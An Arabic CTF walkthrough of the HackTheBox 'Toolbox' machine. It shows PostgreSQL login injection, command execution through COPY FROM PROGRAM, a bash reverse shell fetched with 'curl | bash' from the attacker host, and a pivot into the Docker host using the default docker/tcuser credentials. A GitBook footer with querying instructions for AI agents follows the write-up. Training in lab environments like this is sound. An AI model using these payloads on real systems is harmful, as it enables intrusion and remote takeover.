> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md). # شرح Toolbox HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * حقن PostgreSQL (RCE) * الارتكاز * استغلال boot2docker (Docker-Toolbox) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

### **المنفذ 21 (FTP)** يمكن الوصول إلى منفذ FTP باستخدام المستخدم `anonymous`. يوجد ملف يُدعى `docker-toolbox.exe`. قد يوفر هذا الملف أدلة حول تشغيل Docker المحتمل. {% hint style="info" %} Docker-Toolbox عبارة عن مجموعة من الأدوات المستخدمة لإدارة حاويات Docker على البيئات الأقدم أو غير التابعة لـ Docker Desktop. {% endhint %}

### **المنفذ 443 (HTTPS)**

**المستخدمون المحتملون:** * Christine Rooster * Brandon Sharp * Connor Hodson

بعد التحقيق، يوفّر الموقع المستضاف لوحة إدارة يمكن الوصول إليها عبر `admin.megalogistic.com`.

## ثغرة حقن PostgreSQL: {% hint style="info" %} PostgreSQL هو نظام إدارة قواعد بيانات علائقي قوي ومفتوح المصدر يمكنه دعم أكثر أحمال البيانات تعقيدًا بأمان. {% endhint %} عند إرسال هذه البيانات الاعتمادية: ```sql اسم المستخدم: ' كلمة المرور: ' ``` يظهر خطأ SQL، ما يشير إلى وجود خلفية PostgreSQL تستخدم `pg_query`.

### **الاستغلال** اختبر حمولة حقن كلاسيكية: ```vbnet اسم المستخدم: ' OR 1=1-- - كلمة المرور: أي شيء ``` نحصل على وصول إلى لوحة إدارة Dashboard.

اعترض الاستعلامات باستخدام **Burp Suite** واستخدم موارد مثل **HackTricks** لتعديل عمليات الحقن.

{% embed url="" %} #### لاختبار ما إذا كان الحقن يسمح بتنفيذ الأوامر، استخدم: `;select pg_sleep(10);-- -` إذا تأخر الرد 10 ثوانٍ، فإن الحقن قابل للاستخدام.

### **تنفيذ الأوامر** إليك مثالًا على كيفية الحصول على طلب عبر الإنترنت: ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; ``` أنشئ `index.html` ملف يحتوي على: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` شغّل خادم HTTP: ```bash python3 -m http.server 80 ``` اضبط مستمعًا: ```bash nc -nvlp 443 ``` أرسل الحمولة: ```sql username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d ```

#### **تثبيت الطرفية** لجعل الصدفة تفاعلية ومريحة: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### ثبّت الغلاف لتعمل براحة أكبر. ## رفع الصلاحيات: ### الارتكاز عبر Docker {% hint style="info" %} خلال مرحلة الاستطلاع، حددنا أن جهاز Windows الخاص بنا لم يكن متاحًا مباشرة. ومع ذلك، تمكّنا من الاتصال بجهاز Windows موجود داخل حاوية Docker، بعنوان IP `172.17.0.2` و `172.17.0.1` البوابة. سنحاول الآن الارتكاز عبر هذه الحاوية لرفع صلاحياتنا. {% endhint %}

### **التحقق من منفذ SSH** أولًا، نحتاج إلى التحقق مما إذا كان منفذ SSH (22) مفتوحًا على بوابة Docker (172.17.0.1). نستخدم أمرًا بسيطًا لهذا الغرض: ```bash echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed" ``` المنفذ 22 مفتوح، ما يعني أنه يمكننا محاولة الاتصال عبر SSH بالجهاز في الحاوية.

#### **سجّل الدخول باستخدام بيانات الاعتماد الافتراضية لـ Docker Toolbox** المعرفات الافتراضية لـ Docker Toolbox هي: * **المستخدم**: `docker` * **كلمة المرور**: `tcuser` نحاول الآن الاتصال بالحاوية عبر SSH باستخدام هذه المعلومات. وبمجرد الاتصال بالجهاز، نلاحظ أن لدينا وصولًا إلى الجذر في الحاوية مع المستخدم `docker`.

#### **استكشاف نظام الملفات** في الدليل الجذر نجد مجلدًا يُدعى **c**، والذي يحتوي على مجلد فرعي **users**. داخل **users** يوجد **Desktop** مجلد يعود إلى المستخدم **Administrator**. قد يعني هذا أن المستخدم `docker` لديه صلاحيات كافية للوصول إلى البيانات الحساسة الخاصة بالمستخدم **Administrator**، وهو مسار جيد لرفع الصلاحيات.

### الراية user.txt :) #### **بحث `user.txt` (راية المستخدم)** سنبحث الآن عن `user.txt` الملف، الذي يُستخدم غالبًا للدلالة على وصول المستخدم الناجح إلى جهاز ما. لنستخدم الأمر التالي للبحث عن هذا الملف في جميع أنحاء نظام الملفات: ```bash find / -name user.txt 2>/dev/null ```

نعثر على **user.txt** الملف في دليل يمكن الوصول إليه، مما يمنحنا أول مؤشر على نجاح عمليتنا. ### العلم root.txt :) بمجرد العثور على راية المستخدم، نبحث عن **root.txt** الملف، الذي يوجد عادةً في دليل المستخدم **Administrator**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.